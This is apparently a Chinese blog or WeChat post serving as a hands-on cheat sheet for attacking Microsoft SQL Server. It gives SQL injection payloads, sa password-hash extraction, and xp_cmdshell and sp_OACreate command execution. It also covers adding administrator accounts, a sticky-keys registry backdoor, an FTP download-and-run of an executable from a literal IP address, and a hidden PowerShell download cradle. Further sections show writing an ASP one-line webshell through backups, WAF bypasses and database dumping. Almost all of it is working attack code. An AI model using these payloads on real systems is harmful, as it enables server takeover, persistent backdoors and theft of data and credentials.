由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
关于mssql注入的知识分享
○ 基础
◇ 默认数据库
◇ 基本结构
◇ 注释
◇ 系统变量及函数
◇ 判断权限
○ sql注入
◇ 报错注入
◇ insert注入
◇ update注入
◇ delete注入
◇ order by注入
◇ group by注入
◇ top注入
○ 存储过程
◇ 检测是否启用
◇ xp_availablemedia
◇ xp_enumdsn
◇ xp_loginconfig
◇ xp_subdirs
◇ xp_dirtree
◇ xp_regread
◇ OPENROWSET/openquery/opendatasource
○ 执行命令
◇ xp_cmdshell执行命令
◇ SP_OACreate提权
◇ xp_regwrite提权
◇ jet沙盒
◇ public权限提权
◇ mssql CLR
◇ PowerUpSQL
○ 读写文件
◇ 读文件
◇ 写文件
◇ 绕WAF
○ 备份(脱裤)
◇ sqlcmd
◇ osql
◇ isql
○ 声明
基础
NO.1
默认数据库
数据库名 | 说明 |
---|---|
pubs | mssql 2005 上不存在 |
model | 全版本都有 |
msdb | 全版本都有 |
tempdb | 全版本都有 |
northwind | 全版本都有 |
information_schema | mssql 2000 以后 |
基本结构
master..sysdatabases
master 数据库中
sysdatabases表 重要字段name(数据库名称) dbid(对应id) filename(数据库文件存放路径)
sysobjects表 重要字段name(表名) xtype() type()
syslogins表 重要字段name(用户名) password(密码) sysadmin(true or false)
SQL 2005 以后
information_schema.tables
information_schema 数据库中
tables表 重要字段table_catalog(数据库名称) table_name(表名) table_schema(值such as:dbo) table_type
columns表 重要字段table_name(表名) column_name(列名) data_type(字段类型)
常用语句
1.判断站库分离
host_name()[email protected]@servername
2.选数据库名
select name,filename from master.dbo.sysdatabases
name数据库名 filename 数据库物理路径
3.爆列名
select top 1 name from [数据库名]..syscolumns where name <>'[列名]' and id in (select id from [数据库名]..sysobjects where type='u' and name='[表名]')
select table_name,column_name from information_schema.COLUMNS
//table_name表名称 column_name字段名
4.不能使用 not in
select top 1 [字段名1] from (select top 1 [字段名1] from [表名] order by [字段名1])T order by [字段名1] desc
5.选出表名1
select top 1 [数据库]..sysusers.name+'.'+[数据库]..sysobjects.name from [数据库]..sysobjects inner join [数据库]..sysusers on [数据库]..sysobjects.uid=[数据库]..sysusers.uid where [数据库]..sysobjects.xtype in ('u','v') and [数据库]..sysusers.name+'.'+[数据库]..sysobjects.name not in
(select top 0 [数据库]..sysusers.name+'.'+[数据库]..sysobjects.name from [数据库]..sysobjects inner join [数据库]..sysusers on [数据库]..sysobjects.uid=[数据库]..sysusers.uid where [数据库]..sysobjects.xtype in ('u','v'))
//xtype u代表用户自定义的表
6.选出表名2
SELECT TOP 1 [数据库名]..sysusers.name+'.'+[数据库名]..sysobjects.name FROM [数据库名]..sysobjects INNER JOIN [数据库名]..sysusers ON [数据库名]..sysobjects.uid = [数据库名]..sysusers.uid WHERE [数据库名]..sysobjects.xtype IN ('u','v') ORDER BY [数据库名]..sysusers.name,[数据库名]..sysobjects.name;
7.选出表名3
select table_name,TABLE_CAtalog,table_schema from information_schema.tables
table_catalog 保存当前数据库名称,table_name 保存当前数据库中所有表
8.获取sa密码
select password from master.dbo.syslogins where name='sa'
select sys.fn_VarBinToHexStr(cast(password AS varbinary(256))) from master.dbo.syslogins where name='sa'
select master.dbo.fn_VarBinToHexStr(cast(password AS varbinary(256))) from master.dbo.syslogins where name='sa'
select cast(password as binary) from sys.syslogins where name='sa'
select parse(password as binary) from sys.syslogins where name='sa'
======
SELECT name, LOGINPROPERTY(name, 'PasswordHash' ) hash
FROM syslogins
WHERE password IS NOT NULL
ORDER BY name
======
select loginproperty('sa','PasswordHash') from syslogins where name='sa'
9.定义变量并使用
declare @ID VARCHAR(1000); set @ID='whoami'; exec xp_cmdshell @ID;
declare @ID VARCHAR(1000) set @ID=char(119)+char(104)+char(111)+char(97)+char(109)+char(105) exec xp_cmdshell @ID;
DECLARE @pksp VARCHAR(8000);SET @pksp=0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c256576616c28526571756573742e4974656d5b227573225d2c22756e7361666522293b255e3e203e643a5c5c5072696e745c5c46494f415c5c646f73736965725c5c696e6465782e61737078;EXEC master..xp_cmdshell @pksp--
10.将执行结果插入表内
insert into tablename(columnname) exec master.dbo.xp_cmdshell 'whoami';
11.查看指定数据库链接情况
SELECT * FROM
[Master].[dbo].[SYSPROCESSES] WHERE [DBID] IN ( SELECT
[DBID]
FROM
[Master].[dbo].[SYSDATABASES]
WHERE
NAME='databaseName'
)
=========
select * from sys.dm_exec_connections
select client_net_address from sys.dm_exec_connections Group BY client_net_address
exec sp_who
12.搜索含有指定列名的表名
select name from [数据库名]..sysobjects where type='u' and id in (select id from [数据库名]..syscolumns where name like '%[列名]%')
注释
/* 注释*/
-- 注释
;%00 注释
系统变量及函数
db_name() db_name(1) 数据库名
host_name() 主机名
@@servername 数据库服务器
@@version 版本信息
user 用户名
user_name() 当前用户
system_user 系统用户名
getdate() 当前时间
@@spid 当前进程pid
char(97) a
ascii('a') 97
Nchar(65) A
Unicode('a') 97
Ltrim(' a') a
Rtrim('a ') a
left('abcdef',2) ab
right('abcdef',2) ef
reverse('abcd') dcba
stuff('abcdefg',2,4,'xxx') axxxfg
replace('abcdefg','cd','xxx') abxxxefg
quotename('create table') 返回为成为有效的SQL SERVER分隔标识符而添加了分隔符的UNICODE字符串
substring('abcdefg',2,3) bcd
len('0123456789')=10
len('为人民服务')=5
sys.fn_VarBinToHexStr() 是把varbinary转换成varchar
server 2012中新增
choose(id,'id为1','id为2','id为3')
iif(1>2,'真结果','假结果') 类似 2>1?ture:false;
select @@IDENTITY as '标示符';
返回最后一次的标识符,如先执行了insert into T_User(user_name,user_password,user_email,user_ip) values('admin','123456','[email protected]','58.20.158.20');返回的将是当前插入的数据的主键U_ID的值
判断权限
select IS_SRVROLEMEMBER('sysadmin')
select IS_MEMBER('db_owner')
select IS_MEMBER('public')
select HAS_DBACCESS(db_name(1)) //判断是否有数据库访问权限
1 = has_perms_by_name(db_name(), 'DATABASE', 'ANY') //判断是否对当前库有所有权限
sql注入
NO.2
报错注入
1=quotename(db_name())--
1=db_name() %2b'|'--
说明:如某数据库的库名为1,将字符串1转换为int是不会报错的,所以使用quotename函数或者将字符串1与字符|连接,彻底变成一个字符串,1/转换成int报错,从而爆出我们想要的信息。
insert注入
insert into users values('vk',convert(int,@@version))--,'123')
insert into users values('vk','123' + convert(int,@@version))--')
insert into users values('vk','123') if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2--')
update注入
update users set uname='vvvk',upass='11111' where uid=1 and 1=convert(int,@@version)
update users set uname='vvvk',upass='11111'+convert(int,@@version)+'' where uid=1
update users set uname='vvvk',upass='11111' where uid=1 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2
delete注入
Delete from users where uid =9+convert(int,@@version)
Delete from users where uid =9 and 1=convert(int,@@version)
Delete from users where uid =9 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2
order by注入
select * from users order by uid,convert(int,@@version)
select * from users order by uid+convert(int,@@version)
select * from users order by uid if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2
思路:
(SELECT (CASE WHEN (9637=9637) THEN 4 ELSE 1/(SELECT 0) END))
常用语句:
爆表名:
(CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(111)+CHAR(114)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST([数据库名]..sysusers.name+CHAR(46)+[数据库名]..sysobjects.name AS NVARCHAR(4000)),CHAR(32))),1,100) FROM [数据库名]..sysobjects INNER JOIN [数据库名]..sysusers ON [数据库名]..sysobjects.uid = [数据库名]..sysusers.uid WHERE [数据库名]..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND ISNULL(CAST([数据库名]..sysusers.name+CHAR(46)+[数据库名]..sysobjects.name AS NVARCHAR(4000)),CHAR(32))
NOT IN
(SELECT TOP 0 ISNULL(CAST([数据库名]..sysusers.name+CHAR(46)+[数据库名]..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM [数据库名]..sysobjects INNER JOIN [数据库名]..sysusers ON [数据库名]..sysobjects.uid = [数据库名]..sysusers.uid WHERE [数据库名]..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY [数据库名]..sysusers.name+CHAR(46)+[数据库名]..sysobjects.name) ORDER BY [数据库名]..sysusers.name+CHAR(46)+[数据库名]..sysobjects.name)+CHAR(113)+CHAR(119)+CHAR(97)+CHAR(105)+CHAR(113))))
爆列名:
(CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(111)+CHAR(114)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST([数据库名]..syscolumns.name ASNVARCHAR(4000)),CHAR(32))),1,100) FROM [数据库名]..syscolumns,[数据库名]..sysobjects WHERE [数据库名]..syscolumns.id=[数据库名]..sysobjects.id AND [数据库名]..sysobjects.name=[表名] AND ISNULL(CAST([数据库名]..syscolumns.name AS NVARCHAR(4000)),CHAR(32))
NOT IN
(SELECT TOP 0 ISNULL(CAST([数据库名]..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM [数据库名]..syscolumns,[数据库名]..sysobjects WHERE [数据库名]..syscolumns.id=[数据库名]..sysobjects.id AND [数据库名]..sysobjects.name=[表名] ORDER BY [数据库名]..syscolumns.name) ORDER BY [数据库名]..syscolumns.name)+CHAR(113)+CHAR(119)+CHAR(97)+CHAR(105)+CHAR(113))))
group by注入
select count(uid),uname from users group by uid,uname union select '1','2'
select count(uid),uname from users group by uid,uname,uname+convert(int,@@version)
select count(uid),uname from users group by uid,uname if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2
top注入
select top 1 @@version,* from users
select top 0 1 from sysobjects union select @@version--,* from users
存储过程
NO.3
xp_availablemedia 显示系统上可用的盘符'C:' xp_availablemedia
xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups
xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开
dbp.xp_makecab'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:'
检测是否启用
1=(Select count(*) from master..sysobjects where xtype='X' and name='存储过程名称')
xp_availablemedia
获取当前所有驱动
exec master.dbo.xp_availablemedia
手工注入的话先创建一个临时表,将结果插入后查询
create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));
insert temp exec master.dbo.xp_availablemedia
xp_enumdsn
此存储过程可以进行odbc连接
xp_loginconfig
此存储过程可以进行配置服务器安全模式信息
xp_subdirs
获取指定目录子目录列表
exec master.dbo.xp_subdirs 'c:\';
insert into temp(id) exec master.dbo.xp_subdirs 'c:\'; //插入临时表
xp_dirtree
获取指定目录所有子目录结构树
exec master.dbo.xp_dirtree 'c:\';
insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';
select id from temp where num1=1; //这里1 是depth深度
xp_regread
确认是否存在
1=(select count(*) FROM master..sysobjects where name= 'xp_regread')
读取IIS网站路径
create table [dbo].[temptable]([columnname][varchar](8000));
DECLARE @result varchar(8000) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into temptable(columnname) values(@result);
OPENROWSET/openquery/opendatasource
开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
insert into OPENROWSET('SQLOLEDB', 'server=ip; uid=user;pwd=123456!', 'select c from cmd') select username from test
//把 test是本地表,中username的值 插入到 远程cmd表中的c字段里
关闭
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
使用示例
--创建链接服务器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '
exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用户名 ', '密码 '
--查询示例
select * from ITSV.数据库名.dbo.表名
--导入示例
select * into 表 from ITSV.数据库名.dbo.表名
--以后不再使用时删除链接服务器
exec sp_dropserver 'ITSV ', 'droplogins '
连接远程/局域网数据
openrowset
--查询示例
select * from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
--生成本地表
select * into 表 from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
--把本地表导入远程表
insert into openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名) select * from 本地表
--更新本地表
update b
set b.列A=a.列A
from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b
on a.column1=b.column
openquery
--首先创建一个连接创建链接服务器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '
--查询
select *
FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')
--把本地表导入远程表
insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')
select * from 本地表
--更新本地表
update b
set b.列B=a.列B
FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') as a
inner join 本地表 b on a.列A=b.列A
opendatasource/openrowset
SELECT *
FROM opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ' ).test.dbo.roy_ta
--把本地表导入远程表
insert opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ').数据库.dbo.表名
select * from 本地表
执行命令
NO.4
xp_cmdshell执行命令
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
当提示"不允许对系统目录进行即席更新"
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH override;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE WITH override;EXEC sp_configure 'show advanced options', 0;
exec master..xp_cmdshell 'whoami'
判断xp_cmdshell是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
恢复xp_cmdshell
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll';
无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
sp_dropextendedproc "xp_cmdshell"
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
SP_OACreate提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
首先打开组件(mssql 2005中默认是关闭的)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
删除及恢复的方法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell' //删除xp_cmdshell
恢复
//DBCC addextendedproc (function_name, dll_name)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
wscript.shell
使用wscript.shell执行命令,注意此方式是无回显的
use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > d:\2.txt'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell dell_007 /add'
Shell.Application
使用shell.application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user>c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
添加用户
2000系统cmd路径c:\winnt\system32\cmd.exe
xp和2003系统cmd路径c:\windows\system32\cmd.exe
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user guest 123 /add & net localgroup administrators guest/add & net localgroup "Remote Desktop Users" guest /add'
declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest$ 123/add'
粘滞键替换
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
需要同时具备sp_oacreate 和sp_oamethod 两个功能组件 ftp传马
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--
写文件
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\2.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'1234567890'
exec @ret = sp_oamethod @f, 'close', NULL
eg:写入启动项
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
读文件
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\2.txt', 1
exec @ret = sp_oamethod @f, 'read', @line out,8000
select @line
删文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'deletefile',null,'d:\2.txt'
exec sp_OADestroy @o
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'deletefile',null,'d:\2.txt'
exec sp_OADestroy @o
移动文件
declare @aa int
exec sp_oacreate 'scripting.filesystemobject', @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
function deleteFile(name){ var fso=new ActiveXObject("Scripting.FileSystemObject");if(fso.FileExists(name))fso.DeleteFile(name);else return false;}deleteFile("d:\2.txt");
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='c:\windows\system32\cmd.exe'
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger'
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1′,'REG_SZ','cmd.exe /c net user test ptlove /add'
alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
create table cmd (a image)-- (新建立一个cmd表)
backup database test to disk = 'D:\\temp\\cmd' WITH init --
backup log test to disk = 'D:\\temp\\cmd1' WITH init -- (减少备分数据的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径)
drop table cmd --(删除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
jet沙盒
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
CREATE ASSEMBLY AssemblyName from 'DLLPath'
CREATE ASSEMBLY AssemblyName from 文件十六进制流
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在权限问题,执行下面一段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
EXEC [dbo].[SqlStoredProcedure1];
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode;
当然针对SQL Server的攻击,有一个强大的工具PowerUpSQL,里面也有很多针对MSSQL的攻击方式。下面介绍两种比较实用的方式。
1、SP_Addextendedproc
套件中的Create-SQLFileXpDll方法,在这里对其使用方式简单的进行一下介绍。 创建DLL:
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\test.txt" -ExportName xp_test
SQL Server 通过 sp_addextendedproc 调用DLL从而达到命令执行的效果。
这里有两种方式导入:
//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
导入之后的可调用xp_test来执行命令:
exec master..xp_test;
在D:\temp\test.txt会有Exec test
通过以下命令可以卸载:
sp_dropextendedproc 'xp_test'
2、SMB Relay Attacks
针对这种方式,已经有文章总结了,这里就不多做介绍了,详细请看:https://www.netspi.com/
读写文件
NO.5
读文件
bulk读文件
create table result(res varchar(8000));
bulk insert result from 'c:/windows/temp/123.txt'
select * from result
bulk insert 分割语法
BULK INSERT T
FROM 'c:\a.txt'
WITH (
FIELDTERMINATOR = '\n', --字段间隔符号
ROWTERMINATOR = '\n\n' --记录间隔符号
)
写文件
log备份
alert database [dbname] set RECOVERY FULL–
create table cmd(a image)–
backup log [dbname] to disk='c:\hta' with init–
insert into cmd(a) values('[command]')–
backup log [dbname] to disk='系统启动目录\hello.hta'–
drop table cmd–
差异备份
backup database [dbname] to disk='c:\db.bak'–
create table cmd(cmd image)–
insert into cmd(cmd) values('[command]')–
backup database [dbname] to disk='系统启动目录\hello.hta' WITH DIFFERENTIAL FORMAT–
drop table cmd–
eg:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>
sp_makewebtask
使用sp_makewebtask写shell (sqlserver 2000 待验证)
开启sp_makewebtask
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;exec sp_configure 'show advanced options', 0;RECONFIGURE;
关闭sp_makewebtask
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE;exec sp_configure 'show advanced options', 0;RECONFIGURE;
新建文件
exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';
exec sp_makewebtask 'd:\wwwroot\bake.asp','select ''<%execute(request("a"))%>'' ';
绕WAF
符号
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0B, %0C, %0D, %0E, %0F, %0A
如过滤db_name()可尝试db_name(%00)
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
ASPX+IIS特性 参数污染
http://target.com/page.aspx?id=union/*
post
Cookie: id=*/from table
id=*/select/*
GPC
结果
union/*,*/select/*,*/from table
备份(脱裤)
NO.6
sqlcmd
sql2005新加工具
备份:
"C:/Program Files/Microsoft SQL Server/90/Tools/Binn/SQLCMD.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"BACKUP DATABASE test to disk='c:/aa/aaa.bak'"
sqlcmd 通过windows验证的无需添加-u 和-p 参数
"C:/Program Files/Microsoft SQL Server/90/Tools/Binn/SQLCMD.EXE" -S ./sqlexpress -d master -Q"BACKUP DATABASE test to disk='c:/aa/aaa.bak'"
sqlcmd 输出结果到文件
sqlcmd -S <ComputerName>\<InstanceName> -i <MyScript.sql> -o <MyOutput.rpt>
sqlcmd -Q "SELECT * FROM AdventureWorks.Person.Contact" -o MyOutput.txt
还原
"C:/Program Files/Microsoft SQL Server/90/Tools/Binn/SQLCMD.EXE" -S ./sqlexpress -U sa -P 000000 -d master -Q"RESTORE DATABASE test from disk='c:/aa/aaa.bak'"
帮助信息
"C:/Program Files/Microsoft SQL Server/90/Tools/
Binn/SQLCMD.EXE" -?
